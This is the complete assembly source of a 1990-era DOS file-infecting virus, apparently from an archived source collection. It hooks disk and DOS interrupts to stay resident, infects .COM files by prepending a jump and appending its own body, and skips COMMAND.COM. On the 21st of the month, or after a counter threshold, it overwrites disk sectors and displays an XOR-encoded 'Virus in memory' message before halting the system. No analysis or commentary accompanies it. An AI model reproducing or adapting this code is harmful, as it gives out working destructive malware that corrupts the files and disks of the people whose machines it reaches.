HPAVC/HPAVC CD-ROM.iso/SOURCE.ZIP/SK20H.ASM

Assembly Source File | 1980-01-01 | 7KB | 433 lines

start:  jmp     short begin
    db    (00h)
    db    (53h)
    db    (4bh)
    int    20h
okey:    db    (0b8h)
    db    (03h)
    db    (00h)
    db    (0cdh)
    db    (10h)
begin:    push    cx
    CALL    F1
F1:    POP    SI
    SUB    SI,09
    mov    ax,0
    mov    ds,ax
    mov    word ptr [312h],si
    push    cs
    pop    ds
    push    cs
    pop    es
    cld
    mov    di,100h
    mov    cx,5
    rep    movsb
    jmp    ding2
int20h: mov    ah,00h
    jmp    mm
int21h: STI
        cmp     ah,00h
    jz    mm
    cmp    ah,4ch
    jz    mm
    cmp    ah,0ffh
    jz    mm
        jmp     int1hh
mm:    pushf
        PUSH    AX
    PUSH    BX
    PUSH    CX
    PUSH    DX
    PUSH    DS
    PUSH    ES
    PUSH    SI
    PUSH    DI
    mov    ax,0
    mov    ds,ax
    cmp    byte ptr [302h],0
    jz    mm2
    mov    byte ptr [302h],0
    jmp    main
mm2:    mov    ah,19h
    int    21h
    mov    dl,al
    cmp    dl,01
    jna    mmm5
    add    dl,7Eh
    mov    ax,0
    mov    ds,ax
mmm5:    mov    byte ptr [309h],dl
    mov    byte ptr ch,[308h]
    mov    byte ptr dl,[309h]
    mov    cl,01
    push    cs
    pop    ds
        mov     ax,0201h
    mov    dh,00h
    mov    bx,offset end+7
    push    cs
    pop    es
    int    13h
    mov    ax,0
    mov    ds,ax
    mov    byte ptr ch,[308h]
    mov    byte ptr dl,[309h]
    mov    cl,01
    push    cs
    pop    ds
        mov     ax,0301h
    mov    dh,00h
    mov    bx,offset end+7
    push    cs
    pop    es
    int    13h
    jnc    etk6
    cmp    ah,3
    jnz    etk6
    jmp    main
etk6:    mov    ax,0
    mov    ds,ax
    mov    byte ptr [306h],1
    push    cs
    pop    ds
    mov    ah,2ah
    int    21h
    cmp    dl,21
    jnz    okef
    mov    ax,0309h
    mov    dx,0000h
    mov    cx,0001h
    lea    bx,[100h]
    int    13h
    jmp    short okep
okef:   mov     ax,0
    mov    ds,ax
    inc    word ptr [310h]
    cmp    Word ptr [310h],02FFh
    jnz    et3
okep:    push    cs
    pop    ds
    mov    bx,offset name
et9:    mov    ah,[bx]
    xor    ah,21
    mov    [bx],ah
    inc    bx
    cmp    bx,offset for1
    jnz    et9
        mov     ah,9
    mov    dx,offset name
    int    21h
    cli
    hlt
dinge:    jmp    ding
et3:    push    cs        ;ds <- cs
    pop    ds
    mov    ah,2fh        ;Dos service function ah=2FH (get DTA)
    int    21h        ;ES:BX Addres of current DTA
    mov    [edta],ES
    mov    [bdta],BX
    mov    ah,1ah        ;Dos service function ah=1AH (set DTA)
    mov    dx,offset end+7 ;DS:DX Addres of DTA
    int    21h
    push    cs
    pop    ds
        MOV     AH,4eH
        MOV     DX,offset files
    mov    cx,00
        INT     21H             ;Dos service function ah=4EH (FIND FIRST)
        jc      dinge           ;CX  File attribute
                                ;DS:DX Pointer of filespec (ASCIIZ string)
vir:    mov    ax,3d02h
    push    cs
    pop    ds
    mov    dx,offset end+7 ;DS:DX Addres of DTA
    add    dx,1EH
    int    21h        ;Dos service function ah=3DH (OPEN FILE)
                                ;AL Open mode
                                ;DS:DX Pointer to filename (ASCIIZ string)
                                ;Return AX file handle
        mov     [handle],ax
    mov    ah,'C'
    mov    al,'D'
        PUSH    DX
        POP     BX
    cmp    [bx],ah ;Compare filename for 'COMMAND.COM'
    jnz    p1        ;If not first char 'C' then push virus in file
    cmp    [bx+6],al
    jz    v        ;If 7 char 'D' then find next file
p1:     mov     bx,handle
        push    cs
    pop    ds
    mov    ah,3fh
    mov    dx,offset end
    mov    cx,5
    int    21h        ;Dos service function ah=3FH (READ FILE)
                                ;BX File handle
                                ;CX Number of bytes to read
                                ;DS:DX Addres of buffer
    push    cs
    pop    es        ;ES <- CS
    cld
        PUSH    DX
        POP     SI
    mov    di,offset okey
    mov    cx,5
    rep    movsb        ;Repeat While CX>0 do ES:DI <- DS:SI
                                ;                     SI=SI+1
                                ;                     DI=DI+1
    mov    ax,534bh
    mov    di,dx
    add    di,3
    cmp    [di],ah
    jnz    fuck
    inc    di
    cmp    [di],al
    jnz    fuck
v:    push    cs
    pop    ds
    mov    bx,handle
    mov    ah,3eh
    int    21h
    push    cs
    pop    ds
    mov    ah,4fh
    int    21h
    jc    enzi
    jmp    short vir
enzi:    jmp    ding
fuck:   mov     ax,offset end+7
    add    ax,1aH
    mov    di,ax
        Mov     Word Ptr cx,[di]
        mov     ax,offset end
    mov    di,ax
    mov    al,0e9h
    cmp    cx,1a0h
    jna    v
    add    cx,2
    mov    [di],al
    inc    di
    mov    Word Ptr [di],cx
    mov    ax,534bh
    add    di,2
    mov    [di],ah
    inc    di
    mov    [di],al
        mov     bx,[handle]    ;
    mov    ax,4200h
    xor    cx,cx
    xor    dx,dx
    push    cs
    pop    ds
    int    21h
    mov    bx,handle
    mov    ah,40h
    mov    dx,offset end
    mov    cx,5
    int    21h
    mov    ax,4202h
    xor    cx,cx
    xor    dx,dx
    int    21h
    push    cs
    pop    ds
    mov    bx,handle
    mov    ah,40h
    mov    dx,offset okey
    mov    cx,end-okey
    int    21h
    mov    bx,handle
        mov     ah,3eh
    int    21h
    mov    ax,0000
    mov    ds,ax
    inc    Word ptr [0310h]
ding:    push    cs
    pop    ds
    mov    ah,1ah
    mov    ds,[edta]
    mov    dx,[bdta]
    int    21h
    mov    ax,0
    mov    ds,ax
    mov    byte ptr [306h],0
main:    PUSH    CS
    POP    DS
    POP    DI
    POP    SI
        POP     ES
    POP    DS
    POP    DX
    POP    CX
    POP    BX
    POP    AX
    popf
int1hh    nop
int1h:  db      (0eah)
is:    dw    0
io:    dw    0

int13h: cli
    PUSH    BX
    PUSH    CX
    PUSH    DX
    PUSH    DS
    PUSH    ES
    PUSH    SI
    PUSH    DI
    push    ax
    mov    ax,0
    mov    ds,ax
    pop    ax
    mov    byte ptr [308h],ch
    mov    byte ptr [309h],dl
    push    cs
    pop    ds
    push    ax
    push    ds
    cmp    ah,03
    jz    etk2
    cmp    ah,05
    jnz    etk3
etk2:    mov    ax,0000
    mov    ds,ax
    inc    Word ptr [310h]
    cmp    Word ptr [310h],02FEh
    jnz    etk3
    push    cs
    pop    ds
    STI
    int    20h
etk3:    pop    ds
        pop     ax
    STI
        int     65h
    pushf
    push    ax
    mov    ax,0
    mov    ds,ax
    cmp    byte ptr [306h],0
    pop    ax
    jz    etk4
    popf
        clc
    mov    ax,0
    jmp    short etk5
etk4:   popf
etk5:   POP     DI
    POP    SI
        POP     ES
    POP    DS
    POP    DX
    POP    CX
    POP    BX
    db    (0CAH)
    db    (02)
    db    (00)
name:    db    'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$'
for1:    jmp    ding1
files:    db    '*.com',0
ding2:    mov    ax,0000h
    mov    ds,ax
        MOV     BX,300H
    MOV    CX,4b53h
    cmp    [bx],cx
    jz    for1
        mov     [bx],cx
        mov     ah,62h
    int    21h
    mov    ds,bx
    mov    bx,[2ch]
    dec    bx
    mov    dx,0FFFFh
loc_1:    mov    ds,bx
    mov    di,[3]
    inc    di
    add    dx,di
    add    bx,di
    cmp    byte ptr [0000],5Ah
    jne    loc_1
    mov    cx,es
    add    cx,dx
    sub    word ptr [3],80h
    sub    cx,80h
    sub    cx,10h
    mov    es,cx
    mov    di,100h
    cld
        mov     ax,0000h
        mov     ds,ax
        mov     bx,[004ch]
        mov     [0194h],bx
        mov     cx,[004eh]
        mov     [0196h],cx
    mov    ax,0
    mov    ds,ax
lenf    equ    word ptr ds:[312h]
        mov     ax,0000h
    mov    ds,ax
    mov    bx,[0084h]
    mov    cx,[0086h]
    mov    ax,0
    mov    ds,ax
        mov     di,is-okey
        add     di,lenf
    push    cs
    pop    ds
    mov    [di],bx
    mov    [di+2],cx
    mov    ax,0
    mov    ds,ax
    mov    si,[312h]
    sub    si,7
    push    cs
    pop    ds
    mov    di,100h
    mov    cx,800h
    rep    movsb
    mov    ax,0000
    mov    ds,ax
    cli
    mov    WORD PTR [0086h],ES
        mov     WORD PTR [004eh],ES
    mov    word ptr [0082h],es
    mov    di,int20h-okey
    add    di,107h
        mov     WORD PTR [0080h],di
    mov    di,int13h-okey
    add    di,107h
        mov     WORD PTR [004ch],di
    mov    di,int21h-okey
    add    di,107h
    mov    WORD PTR [0084h],di
    sti
Ding1:    mov    ax,0
    mov    ds,ax
    mov    byte ptr [306h],1
    mov    byte ptr [302h],0
    mov    ah,19h
    int    21h
    mov    dl,al
    cmp    dl,01
    jna    mmm
    add    dl,7Eh
mmm:    mov    byte ptr [309h],dl
    push    cs
    pop    ds
    mov    ah,0ffh
    int    21h
for:    mov    ax,0
    mov    ds,ax
    mov    byte ptr [306h],0
    mov    byte ptr [302h],1
    PUSH    CS
    POP    DS
    pop    cx
    mov    si,100h
    jmp    si
handle: dw    ?
edta:    dw    ?
bdta:    dw    ?
com:    db    'COMMAND'
end:    db      (00)